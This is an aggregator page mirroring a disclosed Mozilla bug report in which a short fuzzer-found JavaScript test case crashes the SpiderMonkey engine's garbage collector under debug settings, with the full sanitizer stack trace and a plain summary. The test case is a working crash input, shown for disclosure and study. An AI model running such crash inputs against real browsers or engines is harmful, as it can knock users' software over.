Skip to content
Memory corruption Disclosed report Advanced CVE-2026-2795

Assertion failure: kind == JS::TracerKind::Tenuring || kind == JS::TracerKind::MinorSweeping || kind == JS::TracerKind::Moving || kind == JS::TracerKind::HeapCheck, at js/src/gc/Marking.cpp:144

A crafted JavaScript program triggers an assertion failure in the garbage collector's marking code, leading to a null-pointer write and crash. The text does not claim any attacker capability beyond crashing the JavaScript engine.

x0e Follow

Originally disclosed on Mozilla

  • Fixed in 10 days
  • Paid in 12 days
  • Disclosed after 10 days

Steps to reproduce:

Steps to reproduce

Version: c081f3f7d21922047379fe76320cfbc3abf7f2b3 (2026-01-16) Args: js --fuzzing-safe --gc-zeal=9,222 test.js

Test case:

JavaScript
try {
  a = "".startsWith("");
  function b() {
    return newGlobal(b);
  }
  b.newCompartment = a;
  with (b())
    for (
      ;
      ;
      (() => {
        c = [];
        d = [];
        e = new FinalizationRegistry(FinalizationRegistry);
        (e.register(c), e.register(d));
        new Int8Array(294967295);
      })()
    );
} catch {}

Actual results

[70986] Assertion failure: kind == JS::TracerKind::Tenuring || kind == JS::TracerKind::MinorSweeping || kind == JS::TracerKind::Moving || kind == JS::TracerKind::HeapCheck, at js/src/gc/Marking.cpp:144
#01: ???[dist/bin/js +0x25d9e71]
#02: ???[dist/bin/js +0x1f6ca67]
#03: ???[dist/bin/js +0x265242f]
#04: ???[dist/bin/js +0x2650688]
#05: ???[dist/bin/js +0x264f4db]
#06: ???[dist/bin/js +0x25f8ed2]
#07: ???[dist/bin/js +0x25b1719]
#08: ???[dist/bin/js +0x25afa4a]
#09: ???[dist/bin/js +0x25b88f0]
#10: ???[dist/bin/js +0x25beb09]
#11: ???[dist/bin/js +0x25c0f36]
#12: ???[dist/bin/js +0x25998fe]
#13: ???[dist/bin/js +0x3314b03]
#14: ??? (???:???)
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==70986==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x6102c76bae89 bp 0x7fff3a5cea60 sp 0x7fff3a5cea30 T70986)
==70986==The signal is caused by a WRITE memory access.
==70986==Hint: address points to the zero page.
dist/bin/llvm-symbolizer: error: '[anon:js-executable-memory]': No such file or directory
    #0 0x6102c76bae89 in MOZ_CrashSequence(void*, long) dist/include/mozilla/Assertions.h:237:3
    #1 0x6102c76bae89 in void js::CheckTracedThing<JSObject>(JSTracer*, JSObject*) js/src/gc/Marking.cpp:141:5
    #2 0x6102c704da66 in js::gc::TraceEdgeInternal(JSTracer*, JSObject**, char const*) js/src/gc/Tracer.h:110:1
    #3 0x6102c704da66 in void js::TraceEdge<js::FinalizationRecordObject*>(JSTracer*, js::WriteBarriered<js::FinalizationRecordObject*> const*, char const*) js/src/gc/Tracer.h:148:3
    #4 0x6102c704da66 in void js::TraceNullableEdge<js::FinalizationRecordObject*>(JSTracer*, js::WriteBarriered<js::FinalizationRecordObject*> const*, char const*) js/src/gc/Tracer.h:186:5
    #5 0x6102c704da66 in JS::GCPolicy<js::HeapPtr<js::FinalizationRecordObject*>>::trace(JSTracer*, js::HeapPtr<js::FinalizationRecordObject*>*, char const*) js/src/gc/Policy.h:54:5
    #6 0x6102c704da66 in JS::GCVector<js::HeapPtr<js::FinalizationRecordObject*>, 1ul, js::TrackedAllocPolicy<(js::TrackingKind)0>>::trace(JSTracer*) dist/include/js/GCVector.h:175:7
    #7 0x6102c704da66 in js::FinalizationQueueObject::trace(JSTracer*, JSObject*) js/src/builtin/FinalizationRegistryObject.cpp:702:14
    #8 0x6102c773342e in JSClass::doTrace(JSTracer*, JSObject*) const dist/include/js/Class.h:667:5
    #9 0x6102c773342e in CallTraceHook(JSTracer*, JSObject*) js/src/gc/Marking.cpp:1247:12
    #10 0x6102c7731687 in bool js::GCMarker::processMarkStackTop<0u>(JS::SliceBudget&) js/src/gc/Marking.cpp:1639:3
    #11 0x6102c77304da in bool js::GCMarker::markOneColor<0u, (js::gc::MarkColor)2>(JS::SliceBudget&) js/src/gc/Marking.cpp:1347:10
    #12 0x6102c76d9ed1 in bool js::GCMarker::doMarking<0u>(JS::SliceBudget&, js::gc::ShouldReportMarkTime) js/src/gc/Marking.cpp:1314:29
    #13 0x6102c7692718 in js::GCMarker::markUntilBudgetExhausted(JS::SliceBudget&, js::gc::ShouldReportMarkTime) js/src/gc/Marking.cpp:1305:10
    #14 0x6102c7690a49 in js::gc::GCRuntime::markUntilBudgetExhausted(JS::SliceBudget&, js::gc::GCRuntime::ParallelMarking, js::gc::ShouldReportMarkTime) js/src/gc/GC.cpp:3344:19
    #15 0x6102c76998ef in js::gc::GCRuntime::incrementalSlice(JS::SliceBudget&, JS::GCReason, bool) js/src/gc/GC.cpp:4033:13
    #16 0x6102c769fb08 in js::gc::GCRuntime::gcCycle(bool, JS::SliceBudget const&, JS::GCReason) js/src/gc/GC.cpp:4633:3
    #17 0x6102c76a1f35 in js::gc::GCRuntime::collect(bool, JS::SliceBudget const&, JS::GCReason) js/src/gc/GC.cpp:4822:9
    #18 0x6102c767a8fd in js::gc::GCRuntime::gcSlice(JS::GCReason, JS::SliceBudget const&) js/src/gc/GC.cpp:4925:3
    #19 0x6102c767a8fd in js::gc::GCRuntime::gcIfRequestedImpl(bool) js/src/gc/GC.cpp:5138:5
    #20 0x6102c83f5b02 in js::gc::GCRuntime::gcIfRequested() js/src/gc/GCRuntime.h:332:33
    #21 0x6102c83f5b02 in HandleInterrupt(JSContext*, bool, bool) js/src/vm/Runtime.cpp:401:21
    #22 0x3e582b89d871  ([anon:js-executable-memory]+0x12871)

==70986==Register values:
rax = 0x0000000000000000  rbx = 0x00001c53ef31d430  rcx = 0x0000000000000090  rdx = 0x0000712e40901563
rdi = 0x0000712e40902700  rsi = 0x0000000000000000  rbp = 0x00007fff3a5cea60  rsp = 0x00007fff3a5cea30
 r8 = 0x0000000000000000   r9 = 0x0000000000000003  r10 = 0x0000000000000002  r11 = 0x0000000000000293
r12 = 0x00006102c93bdad0  r13 = 0x00001c53ef31d430  r14 = 0x0000712e3df4b918  r15 = 0x0000712e3f226040
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV dist/include/mozilla/Assertions.h:237:3 in MOZ_CrashSequence(void*, long)
==70986==ABORTING

The original report as published on Mozilla's Bugzilla, by x0e. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The script causes the JavaScript engine to crash with a null-pointer write; the text does not demonstrate any further impact such as code execution.

What the attacker needed

Ability to run JavaScript in the engine; specific garbage-collection settings

How it was found

  1. Run the JavaScript shell with the fuzzing-safe flag and a high garbage-collection zeal setting.
  2. Execute the provided test script, which creates a new global, a FinalizationRegistry, and a large typed array inside a loop.
  3. Observe the assertion failure and subsequent segmentation fault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a crash report for a JavaScript engine. A specially written script makes the engine's memory cleaner (the garbage collector) check a value it did not expect, so the program stops with an error and then crashes. The report does not show how this could be used to do anything other than crash.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by x0e

View all

2 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.